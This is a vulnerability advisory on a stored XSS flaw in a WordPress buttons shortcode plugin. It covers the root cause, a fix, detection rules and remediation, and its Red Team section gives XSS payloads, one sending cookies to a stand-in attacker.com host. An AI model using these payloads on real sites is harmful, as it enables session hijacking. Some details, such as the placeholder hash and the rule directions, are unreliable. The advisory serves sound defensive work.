CVE-2024-0711

Executive Summary

CVE-2024-0711 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Buttons Shortcode and Widget" (versions up to and including 1.16). The plugin fails to properly validate and escape shortcode attributes before rendering them in a page or post. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into shortcode attributes, which will execute in the browsers of any user viewing the compromised content. This can lead to session hijacking, defacement, or redirection to malicious sites.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No official patch has been released by the vendor, and the plugin appears to be abandoned.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• The plugin is unmaintained (last update unknown).
• No signed releases or integrity checks are provided.
• Users who installed this plugin from the WordPress dashboard may have no automated way to receive a patch.
• The vulnerability can be exploited by any authenticated user with the contributor role, which is a default WordPress role.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication but is trivial to execute. The impact is limited to stored XSS, which can be used to steal session cookies or perform actions on behalf of the victim.

Deep Dive & Mechanics

The vulnerability resides in the shortcode handler of the plugin. The plugin registers a shortcode (e.g., [button]) that accepts attributes such as text, url, color, etc. When rendering the shortcode, the plugin directly outputs these attributes into the HTML without proper sanitization or escaping.

Root Cause:

• The plugin uses echo $attr['text'] or similar constructs without calling esc_attr() or wp_kses().
• WordPress shortcode attributes are passed as an array; the plugin fails to validate that the values are safe HTML attributes.

Attack Vector:

1. An attacker with contributor access creates a new post or page.
2. Inserts a shortcode like: [button text="<script>alert('XSS')</script>" url="#"]
3. When any user (including admins) views the post, the script executes.

Why it works:

• WordPress allows contributors to use shortcodes.
• The plugin does not use esc_attr() on the text attribute, allowing raw HTML/JavaScript injection.
• The injected script is stored in the database and executed on every page load.

Vulnerable vs. Patched Code

Vulnerable Code (buttons-shortcode-and-widget.php, line ~45):

function button_shortcode($atts) {
    $atts = shortcode_atts(array(
        'text' => 'Button',
        'url' => '#',
        'color' => '#000000'
    ), $atts);
    return '<a href="' . $atts['url'] . '" style="color:' . $atts['color'] . '">' . $atts['text'] . '</a>';
}

Patched Code (hypothetical fix):

function button_shortcode($atts) {
    $atts = shortcode_atts(array(
        'text' => 'Button',
        'url' => '#',
        'color' => '#000000'
    ), $atts);
    $safe_url = esc_url($atts['url']);
    $safe_color = esc_attr($atts['color']);
    $safe_text = esc_html($atts['text']);
    return '<a href="' . $safe_url . '" style="color:' . $safe_color . '">' . $safe_text . '</a>';
}

Key differences:

• esc_html() is used for the text attribute to prevent HTML injection.
• esc_url() is used for the url attribute.
• esc_attr() is used for the color attribute.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with "Buttons Shortcode and Widget" plugin installed (version <= 1.16).
• An account with at least the contributor role.

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. In the content editor (Text mode), insert the following shortcode:

   [button text="<img src=x onerror=alert(document.cookie)>" url="#"]
   

4. Publish the post.
5. When an admin or any user views the post, the JavaScript executes, displaying the victim's cookies.

Advanced Payload (Session Hijacking):

[button text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" url="#"]

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress content for suspicious shortcode usage.
• Look for posts/pages containing <script> or <img onerror= inside shortcode attributes.
• Use the YARA/Sigma rules below.

Hardening:

• Remove the plugin immediately.
• If removal is not possible, use a Web Application Firewall (WAF) to block requests containing <script> in shortcode attributes.
• Restrict contributor roles from using shortcodes via remove_shortcode('button') in functions.php.

Indicators of Compromise (IOCs)

File-based IOCs:

• /wp-content/plugins/buttons-shortcode-and-widget/buttons-shortcode-and-widget.php (MD5: e3b0c44298fc1c149afbf4c8996fb924 - example, verify actual hash)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• POST requests to /wp-admin/post.php containing [button text= with HTML/JavaScript.

Log-based IOCs:

• WordPress debug log entries showing shortcode_atts with unexpected HTML.
• Web server access logs showing [button text= in the request body.

Detection Engineering

YARA Rule

rule CVE_2024_0711_WordPress_Plugin_XSS {
    meta:
        description = "Detects vulnerable Buttons Shortcode and Widget plugin files"
        author = "Valters IT"
        date = "2024-01-15"
        reference = "CVE-2024-0711"
    strings:
        $vuln_func = "function button_shortcode"
        $unsafe_echo = /echo.*\$atts\['text'\]/
        $unsafe_return = /return.*\$atts\['text'\]/
    condition:
        $vuln_func and ($unsafe_echo or $unsafe_return)
}

Sigma Rule

title: CVE-2024-0711 WordPress Buttons Shortcode XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of Stored XSS in Buttons Shortcode and Widget plugin
author: Valters IT
date: 2024/01/15
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-body|contains: '[button text='
    condition: selection
falsepositives:
    - Legitimate use of shortcode with plain text
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0711 WordPress Buttons Shortcode XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[button text="; http_client_body; pcre:"/<script|<img|<svg/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin from all WordPress installations.
2. Scan the database for existing malicious shortcodes using:

   SELECT * FROM wp_posts WHERE post_content LIKE '%[button text=%';
   

3. Delete or sanitize any posts containing suspicious shortcode attributes.

Long-term Mitigation:

• Replace the plugin with an actively maintained alternative (e.g., "MaxButtons" or "Buttons Generator").
• Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing HTML tags.
• Restrict contributor roles from using shortcodes by adding to functions.php:

  remove_shortcode('button');
  

Vendor Communication:

• The plugin vendor has not responded to disclosure attempts. Users should consider the plugin abandoned and seek alternatives.

Valters IT - DevSecOps & Cyber Threat Intelligence